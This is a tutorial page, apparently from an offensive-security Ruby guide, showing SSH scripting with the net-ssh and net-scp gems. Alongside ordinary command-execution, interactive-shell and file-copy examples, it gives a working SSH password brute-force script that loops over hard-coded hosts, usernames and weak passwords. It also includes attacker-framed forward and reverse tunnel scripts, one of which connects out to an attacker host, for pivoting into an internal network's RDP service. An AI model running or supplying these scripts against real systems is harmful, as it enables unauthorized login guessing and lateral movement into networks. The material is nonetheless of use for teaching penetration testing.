SSH
Here we'll show some SSH using ruby. We'll need to install net-ssh gem for that.
- Install net-ssh gem1gem install net-sshCopied!
Simple SSH command execution
This is a very basic SSH client which sends and executes commands on a remote system
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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require 'net/ssh'
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​
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@hostname = "localhost"
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@username = "root"
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@password = "password"
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@cmd = ARGV[0]
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​
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begin
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ssh = Net::SSH.start(@hostname, @username, :password => @password)
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res = ssh.exec!(@cmd)
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ssh.close
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puts res
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rescue
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puts "Unable to connect to #{@hostname} using #{@username}/#{@password}"
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end
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SSH Client with PTY shell
Here a simple SSH client which give you an interactive PTY
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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require 'net/ssh'
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​
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@hostname = "localhost"
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@username = "root"
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@password = "password"
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​
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Net::SSH.start(@hostname, @username, :password => @password, :auth_methods => ["password"]) do |session|
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​
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# Open SSH channel
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session.open_channel do |channel|
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​
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# Requests that a pseudo-tty (or "pty") for interactive application-like (e.g vim, sudo, etc)
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channel.request_pty do |ch, success|
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raise "Error requesting pty" unless success
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​
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# Request channel type shell
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ch.send_channel_request("shell") do |ch, success|
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raise "Error opening shell" unless success
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STDOUT.puts "[+] Getting Remote Shell\n\n" if success
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end
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end
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​
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# Print STDERR of the remote host to my STDOUT
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channel.on_extended_data do |ch, type, data|
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STDOUT.puts "Error: #{data}\n"
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end
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​
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# When data packets are received by the channel
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channel.on_data do |ch, data|
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STDOUT.print data
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cmd = gets
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channel.send_data( "#{cmd}" )
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trap("INT") {STDOUT.puts "Use 'exit' or 'logout' command to exit the session"}
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end
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​
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channel.on_eof do |ch|
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puts "Exiting SSH Session.."
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end
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​
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session.loop
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end
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end
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SSH brute force
ssh-bf.rb
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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#
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require 'net/ssh'
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​
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def attack_ssh(host, user, password, port=22, timeout = 5)
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begin
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Net::SSH.start(host, user, :password => password,
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:auth_methods => ["password"], :port => port,
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:paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
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puts "Password Found: " + "#{host} | #{user}:#{password}"
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end
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​
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rescue Net::SSH::ConnectionTimeout
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puts "[!] The host '#{host}' not alive!"
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rescue Net::SSH::Timeout
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puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
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rescue Errno::ECONNREFUSED
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puts "[!] Incorrect port #{port} for #{host}"
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rescue Net::SSH::AuthenticationFailed
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puts "Wrong Password: #{host} | #{user}:#{password}"
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rescue Net::SSH::Authentication::DisallowedMethod
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puts "[!] The host '#{host}' doesn't accept password authentication method."
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end
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end
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​
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​
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hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
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users = ['root', 'admin', 'rubyfu']
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passs = ['admin1234', '[email protected]', '123456', 'AdminAdmin', 'secret', coffee]
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​
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hosts.each do |host|
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users.each do |user|
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passs.each do |password|
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​
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attack_ssh host, user, password
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​
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end end end
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SSH Tunneling
Forward SSH Tunnel
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|--------DMZ------|---Local Farm----|
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| | |
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|Attacker| ----SSH Tunnel---> | |SSH Server| <-RDP-> |Web server| |
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| | |
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|-----------------|-----------------|
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Run ssh-ftunnel.rb on the SSH Server
ssh-ftunnel.rb
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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require 'net/ssh'
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​
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Net::SSH.start("127.0.0.1", 'root', :password => '123132') do |ssh|
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​
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ssh.forward.local('0.0.0.0', 3333, "WebServer", 3389)
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​
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puts "[+] Starting SSH forward tunnel"
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ssh.loop { true }
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end
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Now connect to the SSH Server on port 3333 via your RDP client, you'll be prompt for the WebServer's RDP log-in screen
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rdesktop WebServer:3333
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Reverse SSH Tunnel
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|--------DMZ------|---Local Farm----|
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| | |
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|Attacker| <---SSH Tunnel---- | |SSH Server| <-RDP-> |Web server| |
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| | | | |
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`->-' |-----------------|-----------------|
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Run ssh-rtunnel.rb on the SSH Server
ssh-rtunnel.rb
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#!/usr/bin/env ruby
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# KING SABRI | @KINGSABRI
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require 'net/ssh'
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​
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Net::SSH.start("AttacerIP", 'attacker', :password => '123123') do |ssh|
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​
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ssh.forward.remote_to(3389, 'WebServer', 3333, '0.0.0.0')
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​
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puts "[+] Starting SSH reverse tunnel"
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ssh.loop { true }
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end
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Now SSH from the SSH Server to localhost on the localhost's SSH port then connect from your localhost to your localhost on port 3333 via your RDP client, you'll be prompt for the WebServer's RDP log-in screen
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rdesktop localhost:3333
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Copy files via SSH (SCP)
- To install scp gem1gem install net-scpCopied!
- Upload file
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require 'net/scp'
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​
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Net::SCP.upload!(
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"SSHServer",
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"root",
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"/rubyfu/file.txt", "/root/",
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#:recursive => true, # Uncomment for recursive
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:ssh => { :password => "123123" }
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)
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- Download file
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require 'net/scp'
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​
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Net::SCP.download!(
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"SSHServer",
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"root",
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"/root/", "/rubyfu/file.txt",
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#:recursive => true, # Uncomment for recursive
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:ssh => { :password => "123123" }
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)
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Last modified 4yr ago